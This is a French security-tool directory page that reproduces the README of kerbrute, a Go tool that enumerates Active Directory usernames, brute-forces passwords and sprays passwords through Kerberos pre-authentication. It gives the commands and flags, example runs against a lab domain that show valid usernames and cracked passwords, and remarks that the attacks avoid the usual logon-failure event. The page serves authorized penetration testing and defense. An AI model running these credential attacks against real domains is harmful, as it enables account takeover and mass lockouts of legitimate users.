Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
kerbrute — Un outil pour effectuer du bruteforçage de la pré-authentification Kerberos. | Kitploit
Outils/GitHubGitHub/ropnop/kerbrute
ReconnaissanceAttaques de Mots de PasseCollecte d'InformationsAuthentification
GitHubropnop/kerbrute

kerbrute

Un outil pour effectuer du bruteforçage de la pré-authentification Kerberos.

Voir le dépôt
3.4k485il y a 5 ansVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Kerbrute

CircleCI

Un outil pour bruteforcer et énumérer rapidement des comptes Active Directory valides via la pré-authentification Kerberos

Téléchargez les derniers binaires depuis la page des versions pour commencer.

Contexte

Cet outil est né de quelques scripts bash que j'ai écrits il y a quelques années pour effectuer du bruteforcing avec le client Kerberos Heimdal sous Linux. Je voulais quelque chose qui ne nécessite pas de privilèges pour installer un client Kerberos, et quand j'ai découvert l'incroyable implémentation pure Go de Kerberos gokrb5, j'ai décidé d'apprendre enfin Go et d'écrire cet outil.

Le bruteforcing de mots de passe Windows avec Kerberos est bien plus rapide que toute autre approche que je connais, et potentiellement plus discret car les échecs de pré-authentification ne déclenchent pas l'événement « traditionnel » An account failed to log on 4625. Avec Kerberos, vous pouvez valider un nom d'utilisateur ou tester une connexion en envoyant une seule trame UDP au KDC (Contrôleur de domaine).

Pour plus de contexte et d'informations, découvrez ma présentation Troopers 2019, Fun with LDAP and Kerberos (lien à venir)

Utilisation

Kerbrute a trois commandes principales :

  • bruteuser - Bruteforce le mot de passe d'un seul utilisateur à partir d'une liste de mots
  • bruteforce - Lit des combinaisons utilisateur:motdepasse d'un fichier ou de stdin et les teste
  • passwordspray - Teste un seul mot de passe contre une liste d'utilisateurs
  • userenum - Énumère les noms d'utilisateurs valides du domaine via Kerberos

Un domaine (-d) ou un contrôleur de domaine (--dc) doit être spécifié. Si aucun contrôleur de domaine n'est donné, le KDC sera résolu via DNS.

Par défaut, Kerbrute est multithreadé et utilise 10 threads. Cela peut être modifié avec l'option -t.

La sortie est enregistrée dans stdout, mais un fichier de log peut être spécifié avec -o.

Par défaut, les échecs ne sont pas enregistrés, mais cela peut être modifié avec -v.

Enfin, Kerbrute dispose d'une option --safe. Lorsque cette option est activée, si un compte est verrouillé, tous les threads sont abandonnés pour éviter de verrouiller d'autres comptes.

La commande help peut être utilisée pour plus d'informations

root@kitploit:~
$ ./kerbrute -h

    __             __               __
   / /_____  _____/ /_  _______  __/ /____
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/

Version: dev (bc1d606) - 11/15/20 - Ronnie Flathers @ropnop

This tool is designed to assist in quickly bruteforcing valid Active Directory accounts through Kerberos Pre-Authentication.
It is designed to be used on an internal Windows domain with access to one of the Domain Controllers.
Warning: failed Kerberos Pre-Auth counts as a failed login and WILL lock out accounts

Usage:
  kerbrute [command]

Available Commands:
  bruteforce    Bruteforce username:password combos, from a file or stdin
  bruteuser     Bruteforce a single user's password from a wordlist
  help          Help about any command
  passwordspray Test a single password against a list of users
  userenum      Enumerate valid domain usernames via Kerberos
  version       Display version info and quit

Flags:
      --dc string          The location of the Domain Controller (KDC) to target. If blank, will lookup via DNS
      --delay int          Delay in millisecond between each attempt. Will always use single thread if set
  -d, --domain string      The full domain to use (e.g. contoso.com)
      --downgrade          Force downgraded encryption type (arcfour-hmac-md5)
      --hash-file string   File to save AS-REP hashes to (if any captured), otherwise just logged
  -h, --help               help for kerbrute
  -o, --output string      File to write logs to. Optional.
      --safe               Safe mode. Will abort if any user comes back as locked out. Default: FALSE
  -t, --threads int        Threads to use (default 10)
  -v, --verbose            Log failures and errors

Use "kerbrute [command] --help" for more information about a command.

Énumération des utilisateurs

Pour énumérer les noms d'utilisateurs, Kerbrute envoie des requêtes TGT sans pré-authentification. Si le KDC répond avec une erreur PRINCIPAL UNKNOWN, le nom d'utilisateur n'existe pas. Cependant, si le KDC demande une pré-authentification, nous savons que le nom d'utilisateur existe et nous passons à la suite. Cela ne provoque aucun échec de connexion et ne verrouillera donc aucun compte. Cela génère un événement Windows ID 4768 si la journalisation Kerberos est activée.

root@kitploit:~
root@kali:~# ./kerbrute_linux_amd64 userenum -d lab.ropnop.com usernames.txt

    __             __               __
   / /_____  _____/ /_  _______  __/ /____
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/

Version: dev (43f9ca1) - 03/06/19 - Ronnie Flathers @ropnop

2019/03/06 21:28:04 >  Using KDC(s):
2019/03/06 21:28:04 >   pdc01.lab.ropnop.com:88

2019/03/06 21:28:04 >  [+] VALID USERNAME:       [email protected]
2019/03/06 21:28:04 >  [+] VALID USERNAME:       [email protected]
2019/03/06 21:28:04 >  Done! Tested 1001 usernames (2 valid) in 0.425 seconds

Pulvérisation de mots de passe

Avec passwordspray, Kerbrute effectue une attaque par force brute horizontale contre une liste d'utilisateurs du domaine. C'est utile pour tester un ou deux mots de passe courants quand vous avez une grande liste d'utilisateurs. ATTENTION : cela incrémente le compteur de tentatives de connexion échouées et peut verrouiller des comptes. Cela génère à la fois les IDs d'événement 4768 - Un ticket d'authentification Kerberos (TGT) a été demandé et 4771 - La pré-authentification Kerberos a échoué

root@kitploit:~
root@kali:~# ./kerbrute_linux_amd64 passwordspray -d lab.ropnop.com domain_users.txt Password123

    __             __               __
   / /_____  _____/ /_  _______  __/ /____
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/

Version: dev (43f9ca1) - 03/06/19 - Ronnie Flathers @ropnop

2019/03/06 21:37:29 >  Using KDC(s):
2019/03/06 21:37:29 >   pdc01.lab.ropnop.com:88

2019/03/06 21:37:35 >  [+] VALID LOGIN:  [email protected]:Password123
2019/03/06 21:37:37 >  [+] VALID LOGIN:  [email protected]:Password123
2019/03/06 21:37:37 >  Done! Tested 2755 logins (2 successes) in 7.674 seconds

Attaque par force brute sur un utilisateur

Il s'agit d'une attaque par force brute classique contre un nom d'utilisateur. Exécutez-la uniquement si vous êtes certain qu'il n'y a pas de politique de verrouillage ! Cela génère à la fois les IDs d'événement 4768 - Un ticket d'authentification Kerberos (TGT) a été demandé et 4771 - La pré-authentification Kerberos a échoué

root@kitploit:~
root@kali:~# ./kerbrute_linux_amd64 bruteuser -d lab.ropnop.com passwords.lst thoffman

    __             __               __
   / /_____  _____/ /_  _______  __/ /____
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/

Version: dev (43f9ca1) - 03/06/19 - Ronnie Flathers @ropnop

2019/03/06 21:38:24 >  Using KDC(s):
2019/03/06 21:38:24 >   pdc01.lab.ropnop.com:88

2019/03/06 21:38:27 >  [+] VALID LOGIN:  [email protected]:Summer2017
2019/03/06 21:38:27 >  Done! Tested 1001 logins (1 successes) in 2.711 seconds

Force brute

Ce mode lit simplement des combinaisons nom d'utilisateur et mot de passe (au format username:password) depuis un fichier ou stdin et les teste avec la pré-authentification Kerberos. Il ignorera les lignes vides ou les lignes avec des noms d'utilisateur/mots de passe vides. Cela génère à la fois les IDs d'événement 4768 - Un ticket d'authentification Kerberos (TGT) a été demandé et 4771 - La pré-authentification Kerberos a échoué

root@kitploit:~
$ cat combos.lst | ./kerbrute -d lab.ropnop.com bruteforce -

    __             __               __
   / /_____  _____/ /_  _______  __/ /____
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/

Version: dev (n/a) - 05/11/19 - Ronnie Flathers @ropnop

2019/05/11 18:40:56 >  Using KDC(s):
2019/05/11 18:40:56 >   pdc01.lab.ropnop.com:88

2019/05/11 18:40:56 >  [+] VALID LOGIN:  [email protected]:Password1234
2019/05/11 18:40:56 >  Done! Tested 7 logins (1 successes) in 0.114 seconds

Installation

Vous pouvez télécharger des binaires pré-compilés pour Linux, Windows et Mac depuis la page des versions. Si vous voulez vivre à la pointe, vous pouvez aussi installer via Go :

root@kitploit:~
$ go get github.com/ropnop/kerbrute

Avec le dépôt cloné, vous pouvez également utiliser le Makefile pour compiler pour les architectures courantes :

root@kitploit:~
$ make help
help:            Show this help.
windows:  Make Windows x86 and x64 Binaries
linux:  Make Linux x86 and x64 Binaries
mac:  Make Darwin (Mac) x86 and x64 Binaries
clean:  Delete any binaries
all:  Make Windows, Linux and Mac x86/x64 Binaries

$ make all
Done.
Building for windows amd64..
Building for windows 386..
Done.
Building for linux amd64...
Building for linux 386...
Done.
Building for mac amd64...
Building for mac 386...
Done.

$ ls dist/
kerbrute_darwin_386        kerbrute_linux_386         kerbrute_windows_386.exe
kerbrute_darwin_amd64      kerbrute_linux_amd64       kerbrute_windows_amd64.exe

Crédits

Un immense merci à jcmturner pour son implémentation pure Go de KRB5 : https://github.com/jcmturner/gokrb5 . Un projet incroyable et très bien documenté. Je n'aurais rien pu faire sans ce projet.

Merci à audibleblink pour la suggestion et l'implémentation de l'option delay !

Télécharger l’outil